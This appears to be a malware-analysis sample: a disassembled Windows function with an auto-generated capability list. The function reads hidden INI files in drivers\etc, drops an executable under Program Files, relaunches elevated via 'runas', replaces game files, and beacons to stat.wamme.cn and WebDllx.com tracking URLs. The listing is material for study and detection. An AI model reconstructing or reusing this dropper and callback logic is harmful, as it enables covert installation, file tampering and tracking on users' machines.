Function at 0x401fb0
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Delete file
Initialize winsock library
Move file
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43f6eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x12a4
call fcn.00425740
mov eax, dword [0x452ad4]
push ebx
mov dword [ebp - 0x14], eax
push esi
push edi
xor eax, eax
mov byte [ebp - 0x814], 0
mov ecx, 0x7f
lea edi, [ebp - 0x813]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x44e0f8]
mov edi, dword [0x44e0fc]
lea ecx, [eax + eax]
sub ecx, edi
add ecx, 0x2bf
mov dword [ebp - 0x10], esp
push 0
mov dword [str._r_____r____], ecx
mov dword [ebp - 4], 0
call fcn.004256ff
mov edx, dword [0x44e0f8]
mov ebx, dword [0x44e100]
mov ecx, dword [0x44e108]
sub edx, ebx
sub edx, ecx
sub edx, 0x2580
add esp, 4
mov esi, eax
mov edi, 0x19d
mov dword [0x44e0f0], edx
call fcn.0043cc62
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x44]
push eax
lea ecx, [ebp - 0xdb0]
call fcn.00401f00
mov ecx, dword [ebp - 0xdb0]
mov byte [ebp - 4], 1
lea edx, [ebp - 0x514]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402077
lea eax, [ebp - 0x514]
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402090
sub eax, edx
mov dword [ebp - 0xdac], eax
jne 0x402597
mov edx, dword [0x44e0f0]
mov ecx, dword [0x44e0f4]
sub ecx, edx
mov edx, dword [0x44e10c]
push str.C:WINDOWS_system32driversetc_service3.ini
push 0x100
lea eax, [ecx + edx + 0x3977]
lea ecx, [ebp - 0x114]
push ecx
push 0x441e2d
push str.rand
push str.aaaaa
mov dword [0x44e0f8], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [ebp - 0x114]
push edx
call fcn.004256fa
add esp, 4
test eax, eax
jle 0x40210f
lea eax, [ebp - 0x114]
push eax
call fcn.004256fa
add esp, 4
mov esi, eax
mov eax, esi
cdq
idiv edi
mov ecx, edx
and ecx, 0x80000001
jns 0x402123
dec ecx
or ecx, 0xfffffffe
inc ecx
cmp ecx, 1
jne 0x402155
mov eax, dword [0x44e0ec]
mov ecx, dword [0x44e0f4]
mov esi, dword [0x44e100]
sub eax, ecx
lea eax, [esi + eax + 0x2edc]
lea esi, [edx + 1]
mov dword [0x44e100], eax
lea eax, [edx - 1]
mov dword [ebp - 0xda8], esi
jmp 0x402188
mov ecx, dword [0x44e0f0]
mov ebx, dword [0x44e104]
mov esi, dword [0x44e0ec]
sub ecx, ebx
sub ecx, esi
add ecx, 0xd5a
mov dword [0x44e108], ecx
lea ecx, [edx + 2]
mov dword [ebp - 0xda8], ecx
mov ecx, dword [0x44e0f4]
mov eax, edx
cmp dword [ebp - 0xda8], edi
jl 0x402197
dec edx
mov dword [ebp - 0xda8], edx
mov edx, dword [0x44e0f8]
imul eax, eax, 0x1f
sub ecx, edx
mov edx, dword [str._r_____r____]
lea ebx, [eax + 0x44e110]
lea ecx, [ecx + edx - 0x5c8]
push ebx
lea edx, [ebp - 0x214]
push str.C:Program_Files_s
push edx
mov dword [0x44e0ec], ecx
call fcn.0042561a
add esp, 0xc
push 0
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp - 0xda8]
imul ecx, ecx, 0x1f
add ecx, 0x44e110
push ecx
push ebx
lea edx, [ebp - 0x214]
push str.C:Program_Files_s_s.exe
push edx
call fcn.0042561a
mov ecx, dword [str._r_____r____]
mov eax, dword [0x44e0f0]
mov edx, dword [0x44e0fc]
add eax, ecx
mov ecx, dword [0x44e0f8]
lea eax, [edx + eax + 0x27c0]
add esp, 0x10
lea edx, [ecx + ecx]
sub edx, eax
mov dword [0x44e0fc], eax
push 0x100
lea eax, [ebp - 0x114]
push eax
xor edi, edi
add edx, 0x2bf
push edi
mov dword [str._r_____r____], edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x100
lea ecx, [ebp - 0x114]
push 0x8000
push ecx
call fcn.00431f78
mov edx, dword [0x44e100]
mov ecx, dword [0x44e108]
mov esi, eax
mov eax, dword [0x44e0f8]
sub eax, edx
sub eax, ecx
sub eax, 0x2580
add esp, 0xc
cmp esi, 0xffffffff
mov dword [0x44e0f0], eax
je 0x4023c4
mov edx, dword [0x44e0f4]
sub edx, eax
mov eax, dword [0x44e10c]
push 0x100000
lea ecx, [edx + eax + 0x3977]
push 0x453a60
push esi
mov dword [0x44e0f8], ecx
call fcn.00430ba8
push esi
mov dword [ebp - 0xdac], eax
call fcn.00431367
mov eax, dword [ebp - 0xdac]
add esp, 0x10
cmp eax, 0x2800
jle 0x4023bf
mov eax, dword [0x44e0f4]
mov edx, dword [0x44e0ec]
sub edx, eax
mov eax, dword [0x44e100]
lea ecx, [eax + edx + 0x2edc]
push edi
mov dword [0x44e100], ecx
call fcn.004256ff
push eax
push 0x441dec
push 0x453d60
call fcn.0042561a
push 0x180
lea edx, [ebp - 0x214]
push 0x8302
push edx
call fcn.00431f78
mov esi, eax
add esp, 0x1c
cmp esi, 0xffffffff
je 0x4023bf
mov eax, dword [0x44e0f0]
mov edi, dword [0x44e104]
mov ecx, dword [ebp - 0xdac]
mov edx, dword [0x44e0ec]
sub eax, edi
push ecx
sub eax, edx
add eax, 0xd5a
push 0x453a60
push esi
mov dword [0x44e108], eax
call fcn.0042e673
push 2
push 0
push esi
call fcn.0042e3fa
mov edx, dword [0x44e0f4]
xor eax, eax
mov ecx, 0x80
lea edi, [ebp - 0xc14]
rep stosd dword es:[edi], eax
sub edx, dword [0x44e0f8]
mov eax, dword [str._r_____r____]
lea ecx, [edx + eax - 0x5c8]
mov edx, dword [ebp - 0xda8]
push edx
lea eax, [ebp - 0xc14]
push eax
push esi
mov dword [0x44e0ec], ecx
call fcn.0042e673
push esi
call fcn.00431367
add esp, 0x28
mov edi, 1
mov eax, dword [0x44e0f0]
mov ecx, dword [0x44e104]
mov esi, dword [str._r_____r____]
sub eax, ecx
sub eax, esi
sub eax, 0x1478
cmp edi, 1
mov dword [0x44e0f4], eax
jne 0x40258f
mov ecx, dword [0x44e0f8]
mov edi, dword [0x44e0fc]
lea edx, [ecx + ecx]
lea eax, [ebp - 0x214]
push eax
sub edx, edi
lea ecx, [ebp - 0x114]
add edx, 0x2bf
push str._s__33201_
push ecx
mov dword [str._r_____r____], edx
call fcn.0042561a
mov esi, dword [0x44e100]
mov edx, dword [0x44e108]
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0xdf4]
rep stosd dword es:[edi], eax
mov eax, dword [0x44e0f8]
sub eax, esi
sub eax, edx
mov edx, dword [0x44e0f4]
add esp, 0xc
sub eax, 0x2580
sub edx, eax
mov dword [0x44e0f0], eax
mov eax, dword [0x44e10c]
lea ecx, [edx + eax + 0x3977]
lea edx, [ebp - 0xe04]
push edx
lea eax, [ebp - 0xdf4]
push eax
push 0
push 0
push 0x20
push 0
push 0
mov dword [0x44e0f8], ecx
push 0
lea ecx, [ebp - 0x114]
push ecx
push 0
mov dword [ebp - 0xdf4], 0x44
mov dword [ebp - 0xdc8], 1
mov word [ebp - 0xdc4], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4024d8
mov ecx, dword [0x44e0f4]
mov edx, dword [0x44e0ec]
mov eax, dword [0x44e100]
sub edx, ecx
lea ecx, [eax + edx + 0x2edc]
push 0
mov dword [0x44e100], ecx
call fcn.004255da
mov edx, dword [0x44e0f0]
mov edi, dword [0x44e104]
mov esi, dword [0x44e0ec]
sub edx, edi
push ebx
sub edx, esi
lea eax, [ebp - 0x214]
add edx, 0xd5a
push str.C:Program_Files_s
push eax
mov dword [0x44e108], edx
call fcn.0042561a
add esp, 0xc
push 1
lea ecx, [ebp - 0x214]
push ecx
push 0
lea edx, [ebp - 0x114]
push edx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
push 0
jg 0x402b23
mov ecx, dword [0x44e0f8]
mov eax, dword [0x44e0f4]
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz61.html_pagehttp:__www.WebDllx.com_RunExeFail
push 0x451184
sub eax, ecx
mov ecx, dword [str._r_____r____]
push 0
lea edx, [eax + ecx - 0x5c8]
mov eax, dword [ebp + 8]
push 0
push 1
add eax, 0x74
push 0x68
push eax
mov dword [0x44e0ec], edx
call fcn.00437767
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call ebx
jmp 0x40259d
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4025a2
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x44e0f4]
mov edi, dword [0x44e0f8]
mov ecx, dword [str._r_____r____]
sub eax, edi
lea edx, [eax + ecx - 0x5c8]
lea eax, [ebp - 0xda4]
push eax
push 0x101
mov dword [0x44e0ec], edx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4025da
push 0
call fcn.004255da
push 3
push 0x451180
push 0x413c
call fcn.004014f0
add esp, 0xc
test eax, eax
je 0x40262c
mov ecx, dword [0x44e0f0]
mov edi, dword [0x44e104]
mov esi, dword [0x44e0ec]
mov eax, dword [0x451180]
sub ecx, edi
sub ecx, esi
add ecx, 0xd5a
cmp eax, 0xffffffff
mov dword [0x44e108], ecx
je 0x402625
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.004255da
mov edx, dword [0x44e0f8]
mov esi, dword [0x44e100]
mov ecx, dword [0x44e108]
sub edx, esi
sub edx, ecx
sub edx, 0x2580
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x44e0f0], edx
call fcn.0042540d
add esp, 8
cmp eax, 0xffffffff
jne 0x40267d
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042540d
add esp, 8
cmp eax, 0xffffffff
je 0x40267d
push 0xea60
call ebx
mov eax, dword [0x44e0f0]
mov esi, dword [0x44e104]
mov edx, dword [str._r_____r____]
sub eax, esi
sub eax, edx
sub eax, 0x1478
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [0x44e0f4], eax
call fcn.0042540d
add esp, 8
cmp eax, 0xffffffff
je 0x402afa
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042540d
add esp, 8
cmp eax, 0xffffffff
je 0x402afa
mov edx, dword [str._r_____r____]
mov ecx, dword [0x44e0f0]
mov eax, dword [0x44e0fc]
add ecx, edx
lea eax, [eax + ecx + 0x27c0]
mov ecx, dword [0x44e0f8]
push 0x441cf4
lea edx, [ecx + ecx]
push 0x200
sub edx, eax
mov dword [0x44e0fc], eax
lea eax, [ebp - 0xa14]
push eax
push 0x441e2d
push str.ConfigL0
add edx, 0x2bf
push str.GameType1
mov dword [str._r_____r____], edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x441e2d
lea esi, [ebp - 0xa14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x4028fe
mov eax, dword [0x44e0f8]
mov esi, dword [0x44e100]
mov edx, dword [0x44e108]
sub eax, esi
lea ecx, [ebp - 0xa14]
push ecx
sub eax, edx
lea edx, [ebp - 0x12b4]
sub eax, 0x2580
push 0x12c
push edx
mov dword [0x44e0f0], eax
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x4028fe
mov ecx, dword [0x44e0f0]
mov eax, dword [0x44e0f4]
sub eax, ecx
mov ecx, dword [0x44e10c]
lea edx, [eax + ecx + 0x3977]
mov dword [0x44e0f8], edx
mov edx, dword [ebp - 0x12b4]
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4027b0
sub eax, esi
mov cl, byte [eax + edx - 1]
mov eax, dword [ebp - 0x12a8]
push eax
cmp cl, 0x5c
push edx
lea ecx, [ebp - 0x414]
jne 0x4027d7
push str._s_s
jmp 0x4027dc
push 0x441ccc
push ecx
call fcn.0042561a
mov eax, dword [0x44e0f4]
mov edx, dword [0x44e0ec]
sub edx, eax
mov eax, dword [0x44e100]
lea ecx, [eax + edx + 0x2edc]
add esp, 0x10
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0x614]
push str._s.bak
push eax
mov dword [0x44e100], ecx
call fcn.0042561a
add esp, 0xc
push 0
lea ecx, [ebp - 0x614]
push ecx
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x414]
push eax
call esi
mov ecx, dword [0x44e0f0]
mov eax, dword [0x44e104]
mov edi, dword [0x44e0ec]
sub ecx, eax
sub ecx, edi
lea edx, [ebp - 0x414]
add ecx, 0xd5a
push 0
push edx
mov dword [0x44e108], ecx
call fcn.0042540d
add esp, 8
cmp eax, 0xffffffff
je 0x4028ab
mov edx, dword [0x44e0f8]
mov eax, dword [0x44e0f4]
mov ecx, dword [str._r_____r____]
sub eax, edx
lea edx, [eax + ecx - 0x5c8]
lea eax, [ebp - 0x614]
push eax
mov dword [0x44e0ec], edx
call esi
push 0
call fcn.004255da
mov edx, dword [0x44e104]
mov ecx, dword [0x44e0f0]
mov eax, dword [str._r_____r____]
sub ecx, edx
sub ecx, eax
lea edx, [ebp - 0x414]
push edx
lea eax, [ebp - 0x614]
sub ecx, 0x1478
push eax
mov dword [0x44e0f4], ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea ecx, [ebp - 0x414]
lea edx, [ebp - 0x814]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4028f0
push 0x64
call ebx
mov edx, dword [str._r_____r____]
mov ecx, dword [0x44e0f0]
lea eax, [ecx + edx]
mov edx, dword [0x44e0fc]
lea eax, [edx + eax + 0x27c0]
mov dword [0x44e0fc], eax
lea eax, [ebp - 0x814]
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402928
sub eax, esi
mov dword [ebp - 0xdac], eax
push 0
jne 0x402940
call fcn.004255da
mov esi, dword [0x44e104]
mov edx, dword [0x44e0ec]
sub ecx, esi
sub ecx, edx
add ecx, 0xd5a
mov dword [0x44e108], ecx
lea ecx, [ebp - 0x814]
push ecx
call fcn.0042540d
add esp, 8
cmp eax, 0xffffffff
jne 0x402a0c
mov edx, dword [0x44e0f4]
mov esi, dword [0x44e0fc]
mov eax, dword [0x44e100]
push 0
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NoDllx
push 0x451184
push 0
sub edx, esi
lea ecx, [edx + eax - 0x186]
mov eax, dword [ebp + 8]
push 0
push 1
add eax, 0x74
push 0x68
push eax
mov dword [0x44e10c], ecx
call fcn.00437767
add esp, 0x2c
push 0x2710
call ebx
mov edx, dword [0x44e0f8]
lea eax, [edx + edx]
sub eax, dword [0x44e0fc]
add eax, 0x2bf
push 0
push str.C:WINDOWS_system32driversetc_service1.ini
mov dword [str._r_____r____], eax
call fcn.0042540d
add esp, 8
cmp eax, 0xffffffff
je 0x402a05
push 0
push str.C:WINDOWS_system32driversetc_service2.ini
call fcn.0042540d
add esp, 8
cmp eax, 0xffffffff
jne 0x402a0c
push 0
call fcn.004255da
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0x614]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x402a18
mov ecx, dword [0x44e0f8]
mov edi, dword [0x44e100]
mov esi, dword [0x44e108]
sub ecx, edi
sub ecx, esi
sub ecx, 0x2580
push 0x132b600
mov dword [0x44e0f0], ecx
call sym.CallDll.exe_int___cdecl_process5_int_
add esp, 4
push 0x1388
call ebx
mov edx, dword [str._r_____r____]
mov eax, dword [0x44e0f0]
mov ecx, dword [0x44e0fc]
push 0
push 0
push 0
push 0
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_pagehttp:__www.WebDllx.com_NewRun
push 0x451184
push 0
add eax, edx
lea edx, [ecx + eax + 0x27c0]
mov eax, dword [ebp + 8]
push 0
push 1
add eax, 0x74
push 0x68
push eax
mov dword [0x44e0fc], edx
call fcn.00437767
add esp, 0x2c
push 0x2710
call ebx
mov ecx, dword [0x44e0f0]
mov eax, dword [0x44e0f4]
sub eax, ecx
mov ecx, dword [0x44e10c]
lea edx, [eax + ecx + 0x3977]
mov dword [0x44e0f8], edx
xor esi, esi
lea ebx, [ebx]
mov edx, dword [0x44e0f4]
mov eax, dword [0x44e0ec]
mov ecx, dword [0x44e100]
sub eax, edx
lea edx, [ecx + eax + 0x2edc]
push 0x2710
mov dword [0x44e100], edx
call ebx
inc esi
jmp 0x402ad0
mov edx, dword [0x44e0f0]
mov eax, dword [0x44e0f4]
mov ecx, dword [0x44e10c]
sub eax, edx
lea edx, [eax + ecx + 0x3977]
push 0x493e0
mov dword [0x44e0f8], edx
call ebx
push 0
call fcn.004255da
mov eax, 0x402b21
ret